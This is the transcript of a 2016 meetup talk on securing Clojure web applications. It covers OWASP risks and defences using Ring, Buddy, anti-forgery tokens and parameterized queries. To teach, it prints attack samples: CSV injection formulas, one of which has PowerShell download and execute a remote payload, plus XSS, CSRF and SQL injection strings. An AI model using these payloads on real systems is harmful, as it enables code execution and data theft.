Clojure Web Security

Aa3555d7ac4b01847ec9f60a930f5ccd?s=47 Joy Heron
October 20, 2016

Clojure Web Security

How can we write secure web applications in Clojure? What do we need to take into consideration? This talk covers the most common web vulnerabilities and how to protect against them when developing a web application in Clojure.

Aa3555d7ac4b01847ec9f60a930f5ccd?s=128

Joy Heron

October 20, 2016
Tweet

Transcript

  1. Clojure Web Security Düsseldorf Clojure Meetup Joy Clark & Simon

    Kölsch
  2. Clojure Crash Course ( p r i n t l

    n " H e l l o D ü s s e l d o r f ! " ) Lisp + JVM Functional programming language Simple programming model Immutable Data Structures
  3. Clojure Crash Course { : n a m e "

    C l o j u r e " : f e a t u r e s [ : f u n c t i o n a l : j v m : p a r e n s ] : c r e a t o r " R i c h H i c k e y " : s t a b l e - v e r s i o n { : n u m b e r " 1 . 8 . 0 " : r e l e a s e " 2 0 1 6 / 0 1 / 1 9 " } }
  4. Clojure Crash Course ( + 1 2 3 ) >

    6 ( : c i t y { : n a m e " i n n o Q " : c i t y " M o n h e i m " } ) > " M o n h e i m " ( m a p i n c [ 1 2 3 ] ) > ( 2 3 4 )
  5. Web Security As always... check the OWASP Top 10 2013

    Injection Weak Authentication / Session Handling XSS Insecure Object References Security Misconfigurations Sensitive Data Exposure Missing Function Level Access Control Cross Site Request Forgery Using Components with Known Vulnerabilities Unvalidated Redirects and Forwards still relevant today? -> OWASP Top 10 2016 not yet out but on its way. Meanwhile...
  6. Some Advisories (Bashing PHP)

  7. Some Advisories (Bashing Python)

  8. Some Advisories (Bashing Ruby)

  9. Some Advisories (Bashing Java)

  10. Security ≠ Magical Frameworks (public-domain Vasnetsov - belygorod.ru)

  11. CSV Injection Example HTML Injection = H Y P E

    R L I N K ( " h t t p : / / e v i l . t m " ; " D e t a i l e d I n f o r m a t i o n " ) Launching the calculator = c m d | ' / C c a l c ' ! A 0 Use wget extension to download and execute remote payload = p o w e r s h e l l | ' I E X ( w g e t 0 r . p e / p ) ' ! A 0 Source: https://blog.zsec.uk/csv-dangers-mitigations/
  12. Security = Teamwork + Review (cc-by Kevin Dooley - flic.kr/p/dxCnzT)

  13. How to Write a Secure Web Application Maintain your application

    Stay informed! Register for Security Advisories KISS Know what you are doing Monitor your Application
  14. Clojure Web Applications

  15. HTTP with Clojure Java HTTP Server Ring Server Adapter request

    response  request response Ring - HTTP Server abstraction Request & response are data A web app is a function which takes a request and returns a response https://github.com/ring-clojure/ring/blob/master/SPEC
  16. Ring Requests & Responses ( d e f r e

    q u e s t { : u r i " / " : r e q u e s t - m e t h o d : g e t : h e a d e r s { " A c c e p t " " t e x t / p l a i n " } } ) ( d e f n e x a m p l e - a p p [ r e q ] { : s t a t u s 2 0 0 : b o d y ( s t r " H e l l o " ( : u r i r e q ) " ! " ) } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y e x a m p l e - a p p { : p o r t 4 0 0 0 } ) webapp Java HTTP Server Ring Server Adapter
  17. Ring Middleware modi ed request (i.e. added session info) modi

    ed response (i.e. added headers) request response middleware modi ed request modi ed response response modi ed request response request condition? tru e fa ls e ( d e f n m i d d l e w a r e [ h a n d l e r ] ( f n [ r e q u e s t ] ; ; M o d i f y r e q u e s t b e f o r e s e n d i n g i t t o t h e w e b a p p ( l e t [ r e s p o n s e ( h a n d l e r r e q u e s t ) ] ; ; m o d i f y r e s p o n s e b e f o r e r e t u r n i n g i t t o t h e u s e r r e s p o n s e ) ) )
  18. Routing with Compojure  route 1 route 2 route 3

    not-found request response ( d e f r o u t e s a p p - r o u t e s ( G E T " / " r e q u e s t ( l i s t - u s e r s r e q u e s t ) ) ( P O S T " / " { p a r a m s : p a r a m s : a s r e q u e s t } ( a d d - u s e r r e q u e s t p a r a m s ) ) ( G E T " / : u s e r n a m e " [ u s e r n a m e : a s r e q u e s t ] ( g e t - u s e r r e q u e s t u s e r n a m e ) ) ( P U T " / : u s e r n a m e " [ u s e r n a m e e m a i l p a s s w o r d : a s r e q u e s t ] ( u p d a t e - u s e r r e q u e s t u s e r n a m e e m a i l p a s s w o r d ) ) ( D E L E T E " / : u s e r n a m e " [ u s e r n a m e ] ( d e l e t e - u s e r u s e r n a m e ) ) )
  19. Putting it all together ( d e f w e

    b a p p ( - > a p p - r o u t e s a u t h - m i d d l e w a r e ( w r a p - d e f a u l t s s e c u r e - s i t e - d e f a u l t s ) ) ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p { : p o r t 4 0 0 0 } ) auth? h a n d le n o a u th ring secure defaults GET /:user POST / GET / PUT /:user DELETE /:user not-found list users add user get user update user delete user handle not found Java HTTP Server Ring Server Adapter
  20. Ecosystem Overview

  21. HTTPS ( d e f o p t i o

    n s { : p o r t 3 0 0 0 : j o i n ? f a l s e : s s l ? t r u e : s s l - p o r t 4 0 0 0 : k e y s t o r e " s s l / k e y s t o r e " : k e y - p a s s w o r d " s o m e s e c r e t " : h o s t " e x a m p l e . c o m " } ) ( r i n g . a d a p t e r . j e t t y / r u n - j e t t y w e b a p p o p t i o n s ) Use SSL! Attacks don't stop at your Reverse Proxy.
  22. Validate Input - Escape Output ( r e q u

    i r e ' [ b o u n c e r . v a l i d a t o r s : a s v ] ) ( d e f e m a i l - r e g e x # " ^ $ | ^ [ a - z A - Z 0 - 9 . _ % + - ] + @ [ a - z A - Z 0 - 9 . - ] + \ . [ a - z A - Z ] { 2 , 6 3 } $ " ) ( b o u n c e r . c o r e / v a l i d a t e { : e m a i l " 1 2 3 " } : u s e r n a m e [ v / r e q u i r e d v / s t r i n g ] : e m a i l [ v / s t r i n g [ v / m a t c h e s e m a i l - r e g e x ] ] : p a s s w o r d [ v / r e q u i r e d v / s t r i n g ] ) > [ { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } { : e m a i l " 1 2 3 " : b o u n c e r . c o r e / e r r o r s { : u s e r n a m e ( " u s e r n a m e m u s t b e p r e s e n t " ) : e m a i l ( " e m a i l m u s t s a t i s f y t h e g i v e n p a t t e r n " ) : p a s s w o r d ( " p a s s w o r d m u s t b e p r e s e n t " ) } } ]
  23. Validate Input - Escape Output ( s e l m

    e r . p a r s e r / r e n d e r " H e l l o { { n a m e } } ! " { : n a m e " < s c r i p t > a l e r t ( ' h i ! ' ) ; < / s c r i p t > " } ) > " H e l l o & l t ; s c r i p t & g t ; a l e r t ( & # 3 9 ; h i ! & # 3 9 ; ) ; & l t ; / s c r i p t & g t ; ! "
  24. Validate Input - Escape Output Templating Language Escaping by default?

    # GitHub References Last Updated No 15744 29 Mar 2016 Yes 11628 11 Dec 2015 Yes 7432 9 Jul 2016 Yes 3852 23 Jun 2016 No 1983 10 Nov 2014 hiccup hbs enlive Selmer fleet Statistics taken on 26 August 2016
  25. XSS ( d e f n g e t -

    h t m l [ n a m e ] ( s t r " < d i v > H i " n a m e " ! < / d i v > " ) ) ( g e t - h t m l " < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > " ) > " < d i v > H i < s c r i p t > a l e r t ( ' E v i l X S S ! ' ) ; < / s c r i p t > ! < / d i v > "
  26. CSRF < i m g s r c = "

    h t t p s : / / b a n k . c o m / t r a n s f e r ? a c c t = j o y & a m o u n t = 1 0 0 0 0 " w i d t h = " 0 " h e i g h t = " 0 " b o r d e r = " 0 " > < f o r m a c t i o n = " h t t p s : / / b a n k . c o m / t r a n s f e r " m e t h o d = " P O S T " > < i n p u t t y p e = " h i d d e n " n a m e = " a c c t " v a l u e = " j o y " / > < i n p u t t y p e = " h i d d e n " n a m e = " a m o u n t " v a l u e = " 1 0 0 0 0 " / > < i n p u t t y p e = " s u b m i t " v a l u e = " D o s o m e t h i n g i n n o c e n t ! " / > < / f o r m >
  27. ring.middleware.anti-forgery ( r e q u i r e '

    [ r i n g . m i d d l e w a r e . a n t i - f o r g e r y : r e f e r [ * a n t i - f o r g e r y - t o k e n * ] ] ) ( s e l m e r . p a r s e r / r e n d e r - f i l e " i n d e x . h t m l " { : a n t i f o r g e r y * a n t i - f o r g e r y - t o k e n * } ) i n d e x . h t m l : < f o r m . . . > < i n p u t n a m e = " _ _ a n t i - f o r g e r y - t o k e n " t y p e = " h i d d e n " v a l u e = " { { a n t i f o r g e r y } } " / > . . . < / f o r m >
  28. SQL Injection ( d e f n q u e

    r y - u s e r [ u s e r n a m e ] ( s q l / q u e r y d b - c o n n [ ( s t r " S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = ' " u s e r n a m e " ' ; " ) ] ) ) ( q u e r y - u s e r " f r e d ' o r ' a ' = ' a " ) > Dumps all information from the U s e r s database
  29. Parameterize SQL Queries d b / u s e r

    s . s q l : - - n a m e : g e t - u s e r S E L E C T * F R O M U s e r s W H E R E U s e r n a m e = : u s e r n a m e ; ( y e s q l . c o r e / d e f q u e r i e s " d b / u s e r s . s q l " { : c o n n e c t i o n d b - c o n n } ) ( g e t - u s e r { : u s e r n a m e " f r e d " } ) > { : u s e r n a m e " f r e d " : e m a i l " m r . f r o g g y @ q u a c k e r s . c o m " : u s e r i d 4 : p a s s w o r d " . . . s o m e b y c r y p t h a s h . . . " }
  30. Authentication & Authorization How do I know if the user

    is who he says he is? How do I know if the user is allowed to access a resource?
  31. Introducing Buddy

  32. Buddy-Auth Ring Middleware Integration Authentication information saved in :identity in

    the request map Different Backends: HTTP Basic, Session, Token, Signed JWT, Encrypted JWT Possibility to implement custom authentication backend (e.g. via reify)
  33. Simple Auth Example ( r e q u i r

    e ' [ b u d d y . a u t h . b a c k e n d s : a s b a c k e n d s ] ) ( d e f n l d a p - a u t h [ r e q u e s t a u t h ] ( l e t [ u s e r n a m e ( : u s e r n a m e a u t h ) p a s s w o r d ( : p a s s w o r d a u t h ) ] ; d o m a g i c l d a p a u t h e n t i a t i o n ; r e t u r n l o g i c a l t r u e u s e r n a m e ) ) ( d e f b a c k e n d ( b a c k e n d s / b a s i c { : r e a l m " m y A P I " : a u t h f n l d a p - a u t h } ) )
  34. Authorization with Buddy ( d e f a c c

    e s s - r u l e s [ { : u r i " / u s e r s " : h a n d l e r b u d d y . a u t h / a u t h e n t i c a t e d ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e / e d i t " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d : g e t } { : u r i " / u s e r s / : u s e r n a m e " : h a n d l e r i s - u s e r ? : r e q u e s t - m e t h o d # { : p u t : d e l e t e : p o s t } } ] ) ( d e f n i s - u s e r ? [ r e q u e s t ] ( w h e n - l e t [ u s e r ( : i d e n t i t y r e q u e s t ) ] ( = u s e r ( g e t - i n r e q u e s t [ : m a t c h - p a r a m s : u s e r n a m e ] ) ) ) )
  35. Auth Middleware ( d e f n e r r

    o r - r e d i r e c t [ r e q u e s t _ v a l u e ] ( r e d i r e c t - t o - l o g i n ( r e q u e s t - u r l r e q u e s t ) ) ) ( d e f n a u t h - m i d d l e w a r e [ h a n d l e r ] ( l e t [ b a c k e n d ( a u t h - b a c k e n d s e c r e t ) ] ( - > h a n d l e r ( w r a p - a c c e s s - r u l e s { : r u l e s a c c e s s - r u l e s : o n - e r r o r e r r o r - r e d i r e c t } ) ( w r a p - a u t h e n t i c a t i o n b a c k e n d ) ) ) )
  36. Unvalidated Redirects and Forwards ( d e f s i

    t e - u r l " h t t p s : / / q u a c k e r s . c o m : 4 0 0 0 " ) ( d e f n c h e c k - r e d i r e c t [ u r l ] ( i f u r l ( i f ( s t a r t s - w i t h ? u r l s i t e - u r l ) u r l s i t e - u r l ) s i t e - u r l ) ) ( d e f n r e d i r e c t - t o - l o g i n [ r e d i r e c t - u r l ] ( r e d i r e c t ( s t r " / l o g i n ? r e d i r e c t - t o = " ( c h e c k - r e d i r e c t r e d i r e c t - u r l ) ) ) )
  37. Denial of Service Attacks Making a service unavailable for the

    purpose for which it was intended. An attacker has more resources than a victim OR Victim requires more resources to process a request than the attacker requires to send it.
  38. Naive - Limit defined by user ( d e f

    n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] " 1 0 " ) ) o f f s e t ( - > i n t ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] " 0 " ) ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
  39. Better - Sensible Defaults ( d e f n g

    e t - l i m i t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " l i m i t " ] ) i ( - > i n t p a r a m ) ] ( m i n i 5 0 0 ) ) ( c a t c h E x c e p t i o n e 1 0 ) ) ) ( d e f n g e t - o f f s e t [ r e q u e s t ] ( t r y ( l e t [ p a r a m ( g e t - i n r e q u e s t [ : q u e r y - p a r a m s " o f f s e t " ] ) ] ( - > i n t p a r a m ) ) ( c a t c h E x c e p t i o n e 0 ) ) ) ( d e f n i n d e x [ r e q u e s t ] ( l e t [ l i m i t ( g e t - l i m i t r e q u e s t ) o f f s e t ( g e t - o f f s e t r e q u e s t ) q u a c k s ( d b / g e t - q u a c k s { : l i m i t l i m i t : o f f s e t o f f s e t } ) ] ( r e n d e r - i n d e x r e q u e s t q u a c k s ) ) )
  40. HTTP Security Headers ( d e f m i d

    d l e w a r e - s e t t i n g s { : s e s s i o n { : c o o k i e - a t t r s { : h t t p - o n l y t r u e : s e c u r e t r u e } } : s e c u r i t y { : a n t i - f o r g e r y t r u e : x s s - p r o t e c t i o n { : e n a b l e ? t r u e , : m o d e : b l o c k } : f r a m e - o p t i o n s : s a m e o r i g i n : c o n t e n t - t y p e - o p t i o n s : n o s n i f f : s s l - r e d i r e c t t r u e : h s t s t r u e } } ) "Ring-Defaults", e.g."api-defaults", "site-defaults", "secure-site-defaults", ...
  41. Content Security Policy HTTP Header C o n t e

    n t - S e c u r i t y - P o l i c y : < P O L I C Y > Can "turn-off" Inline JavaScript and plugins Limit valid sources per content-type Provide Hashes and Nonces Reporting
  42. CSP of Twitter.com c o n t e n t

    - s e c u r i t y - p o l i c y : s c r i p t - s r c h t t p s : / / c o n n e c t . f a c e b o o k . n e t h t t p s : / / c m . g . d o u b l e c l i c k . n e t [ . . ] ' u n s a f e - e v a l ' [ . . ] h t t p s : / / * . t w i m g . c o m h t t p s : / / a p i . t w i t t e r . c o m ' n o n c e - s w 4 H 7 y Z e W d I f c y r j z O 5 9 5 Q = = ' [ . . ] ' s e l f ' ; f r a m e - a n c e s t o r s ' s e l f ' ; f o n t - s r c [ . . ] m e d i a - s r c [ . . ] c o n n e c t - s r c [ . . ] s t y l e - s r c [ . . ] ' u n s a f e - i n l i n e ' ' s e l f ' ; o b j e c t - s r c [ . . ] f r a m e - s r c [ . . ] i m g - s r c [ . . ] h t t p s : / / * . g i p h y . c o m [ . . ] r e p o r t - u r i h t t p s : / / t w i t t e r . c o m / i / c s p _ r e p o r t ? a = 4 7 1 1 2 3 4 2 & r o = f a l s e ;
  43. Example Web Application: (WIP) https://github.com/innoq/quackers Joy Clark joy.clark@innoq.com @iamjoyclark Simon

    Kölsch simon.koelsch@innoq.com @simkoelsch